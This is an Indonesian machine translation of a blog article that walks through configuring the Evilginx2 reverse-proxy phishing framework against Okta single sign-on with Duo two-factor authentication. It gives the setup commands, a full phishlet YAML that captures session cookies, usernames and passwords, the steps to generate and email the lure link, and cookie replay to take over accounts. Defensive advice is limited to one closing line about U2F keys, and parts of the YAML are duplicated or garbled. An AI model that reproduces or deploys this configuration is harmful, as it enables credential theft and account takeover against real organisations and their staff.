SHOCK! Perangkat lunak phishing baru memenangkan faktor kedua

Halo semuanya!


Ada saatnya Anda perlu mendaftar untuk seseorang. Ini terjadi ketika organisasi target dikonfigurasikan dengan faktor kedua untuk otentikasi - sms, autentikator Google, Duo. Apa yang harus dilakukan dalam kasus seperti itu? Pekerjakan gopnik? Untuk memotong telepon di karyawan? Tidak! Ternyata peretas licik memiliki perangkat lunak tertulis yang dapat membantu dalam situasi sulit ini.


Evilginx2 adalah kerangka kerja phishing yang berfungsi sebagai proksi antara korban dan situs, dari mana kami ingin menerima akun. Sebelumnya, ia menggunakan nginx khusus, tetapi sekarang sepenuhnya ditulis ulang di Go, termasuk mini HTTP dan server DNS, yang sangat menyederhanakan instalasi dan penyebaran.


Bagaimana cara kerjanya? Penulis peranti lunak yang dijelaskan secara rinci di situs webnya, perincian tentang pemasangan dan konfigurasi dapat ditemukan di halaman proyek github . Mengapa mungkin untuk menghindari faktor kedua? Caranya adalah kita tidak mengganggu proses memasukkan kode dari SMS / kata sandi sementara / push dari DUO. Kami diam-diam menunggu pengguna untuk berhasil menyelesaikan semua langkah otentikasi, menangkap cookie-nya, dan sudah menggunakannya untuk login. Sepanjang jalan, kalau-kalau kami mengumpulkan nama pengguna dan kata sandi. Dalam catatan yang sama, saya akan berbicara tentang pengalaman saya dan jebakan yang saya temui.


Tantangan


Jadi, kita perlu mendaftarkan kantor yang secara aktif menggunakan Okta sebagai Sistem Masuk Tunggal. Sebagai faktor kedua, Duo digunakan - solusi yang chipnya di klien seluler, yang memungkinkan Anda mengonfirmasi faktor kedua melalui pemberitahuan push konvensional alih-alih memasukkan kode 35 digit (halo Google Authenticator). Mari kita mulai.


Langkah satu - daftarkan domain phishing


Di panel penyedia kami, tentukan alamat server tempat phishing berada. Kami juga mendaftarkan subdomain dari formulir okta.< >.com .



Langkah Dua - Konfigurasikan Evilginx


Kami memulai Evilginx dan melalui perintah config kami memasukkan pengaturan yang diperlukan. Kami menunjukkan domain utama (bukan subdomain) dan IP-nya.


 config domain < >.com config ip 10.0.0.1 

Akibatnya, konfigurasi terlihat seperti ini:



Parameter redirect_url menarik di sini - ini menunjukkan di mana harus mengarahkan permintaan ketika klien datang ke root dari domain kami. Mengapa ini dilakukan? Jika Anda memberikan halaman phishing dari root, domain dihitung dengan sangat cepat dan ditambahkan ke daftar situs berbahaya, browser akan bersumpah mengancam, dan pengguna tidak akan pernah menghubungi kami. Karena itu, kami akan memberikannya melalui tautan unik, dan root akan mengarahkan ke lagu Never Gonna Give You Up.


Langkah tiga - buat halaman phishing


Di sini kesenangan dimulai. Karena, pada kenyataannya, di server kami, kami sama sekali tidak meng-host konten apa pun, tetapi hanya permintaan yang diproksi, kami perlu "memberi tahu" Evilginx data apa yang ingin kami terima. "Kisah" ini kami tulis dalam format khusus. Dokumentasinya tersedia di halaman wiki proyek. Deskripsiletlet ini disebut. Untuk beberapa layanan populer - facebook, linkedin, amazon, mereka sudah ditulis dan dimasukkan dalam distribusi. Kami kurang beruntung, di luar kotak Okta tidak didukung, tetapi orang baik menulis phishlet untuk versi lama . Kami mengambil file dan mulai menyolder.


Isi deskripsi, tentukan nama phishlet, penulis, dan versi Evilginx yang diperlukan.


 name: 'okta' author: '@ml_siegel, updated by @hollow1' min_ver: '2.2.0' 

Kami menunjukkan domain mana yang akan kami tangkap. Dalam kasus kami, domain dari formulir < >.okta.com .


 proxy_hosts: - {phish_sub: '', orig_sub: '<   >', domain: 'okta.com', session: true, is_landing: true} 

Parameter session menunjukkan bahwa domain inilah yang memberikan cookie yang kami butuhkan dan kredensial ditransfer ke sana, is_landing berarti bahwa host ini akan digunakan untuk menghasilkan URL phishing.


Langkah penting berikutnya adalah mengidentifikasi semua permintaan ke domain target sehingga proksi berhasil menulis ulang mereka ke domain phishing. Jika ini tidak dilakukan, pengguna akan mengirim data bukan kepada kami, tetapi segera ke domain asli, dan kami tidak akan mendapatkan akun apa pun. Tulis ulang hanya permintaan yang secara langsung terlibat dalam proses login pengguna ke situs.


Untuk memahami dengan jelas apa yang diperlukan untuk otentikasi yang berhasil, Anda perlu mempelajari proses ini dengan cermat. Dipersenjatai dengan sendawa dan akun pengujian, kami mulai mencari bagaimana kata sandi dikirimkan dan dengan cookie mana aplikasi menentukan pengguna yang berwenang. Kami juga mencari jawaban dari server yang berisi tautan ke domain asli.


Kami menemukan permintaan untuk login dan kata sandi. Kami melihat bahwa itu dikirim ke domain asli, tetapi kami harus meninggalkan kami.



Di sini Anda dapat melihat bagaimana domain asli membuat tautan di dalam javascript, mereka harus ditulis ulang.



Setelah mengumpulkan ini dan beberapa permintaan lagi, kami mendapatkan pengaturan berikut:


 sub_filters: - {triggers_on: '< >.okta.com', orig_sub: '< >', domain: 'okta.com', search: 'https://{hostname}/api', replace: 'https://{hostname}/api', mimes: ['text/html', 'application/json']} - {triggers_on: 'login.okta.com', orig_sub: 'login', domain: 'okta.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: 'https\\x3A\\x2F\\x2F{hostname}', replace: 'https\x3A\x2F\x2F{hostname}', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: '\\x2Fuser\\x2Fnotifications', replace: 'https\x3A\x2F\x2F< >.okta.com\x2Fuser\x2Fnotifications', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} 

Kata kunci {hostname} hanya digunakan untuk mengganti domain asli dengan yang phising. Baca lebih lanjut tentang sintaks dari bagian ini di sini .


Ingat, kami membutuhkan cookie yang dengannya kami akan masuk ke situs. Melalui trial and error, kami menemukan nama cookie - sid , dan menambahkannya ke pengaturan:


 auth_tokens: - domain: '< >.okta.com' keys: ['sid'] 

Nama pengguna dan kata sandi pengguna juga berguna bagi kami, kami telah menemukan permintaan pengirimannya. Seperti yang Anda lihat dalam permintaan, parameter username dan password kami butuhkan diteruskan ke json, kami menambahkan:


 credentials: username: key: 'username' search: '"username":"([^"]*)' type: 'json' password: key: 'password' search: '"password":"([^"]*)' type: 'json' 

Jadi Evilginx akan dapat mengisolasi mereka dari permintaan dan menyimpannya dengan benar.


Ada sedikit yang tersisa. Tentukan URL halaman login pada domain target.


 landing_path: - '/login/login.htm' 

Kami akan menunjukkan URL yang dengannya kami akan memahami bahwa pengguna berhasil masuk.


 auth_urls: - 'app/UserHome' 

Itu saja! Seluruh konfigurasi:


 name: 'okta' author: '@ml_siegel, updated by @hollow1' min_ver: '2.2.0' proxy_hosts: - {phish_sub: '', orig_sub: '<   >'', domain: 'okta.com', session: true, is_landing: true} sub_filters: sub_filters: - {triggers_on: '< >.okta.com', orig_sub: '< >', domain: 'okta.com', search: 'https://{hostname}/api', replace: 'https://{hostname}/api', mimes: ['text/html', 'application/json']} - {triggers_on: 'login.okta.com', orig_sub: 'login', domain: 'okta.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: 'https\\x3A\\x2F\\x2F{hostname}', replace: 'https\x3A\x2F\x2F{hostname}', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: '\\x2Fuser\\x2Fnotifications', replace: 'https\x3A\x2F\x2F< >.okta.com\x2Fuser\x2Fnotifications', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} - domain: '< >.okta.com' keys: ['sid'] credentials: username: key: 'username' search: '"username":"([^"]*)' type: 'json' password: key: 'password' search: '"password":"([^"]*)' type: 'json' landing_path: - '/login/login.htm' auth_urls: - 'app/UserHome' 

Simpan sebagai okta.yaml di /usr/share/evilginx/phishlets .


Langkah empat - aktifkan phishing baru kami


Jalankan evilginx dan tulis perintah


 phishlets hostname okta okta.<  >.com 

Nyalakan phishlet.


 phishlets enable okta 

Sertifikat dari LetsEncrypt secara otomatis dibuat untuk itu.
Periksa pengaturan:



Kami menunjukkan di mana kami akan mengarahkan pengguna setelah otorisasi berhasil


 phishlets get-url okta https://< >.okta.com/ 

Aplikasi akan memberikan tautan yang perlu dikirim ke pengguna, dalam bentuk https://< >.com/login/login.htm?rb=9ffe&ec=< >


Langkah 4 - menunggu hasil tangkapan


Kami mengirim surat (teknologi pengiriman - bahan untuk artikel terpisah) dan menunggu.
Pengguna yang lemah dan dapat dipercaya mengikuti tautan dan masuk. Kami melihatnya seperti ini:



Semua akun yang tertangkap menambahkan hingga sesi. Pilih yang diinginkan dan salin cookie dari itu:



Buka browser, ganti cookie, dan voila - kami ada di dalam:



Kata penutup


Evilginx sangat menyederhanakan pembuatan halaman phishing, terutama untuk 2FA. Juga, halaman-halaman ini dengan mudah disimpan dan dibagikan dengan teman-teman. Cara perlindungan - penggunaan perangkat standar U2F , transisi ke metode otentikasi baru.


Apa yang Anda pikirkan tentang pendekatan yang dijelaskan? Bagaimana Anda mengumpulkan akun?

Source: https://habr.com/ru/post/id431156/


All Articles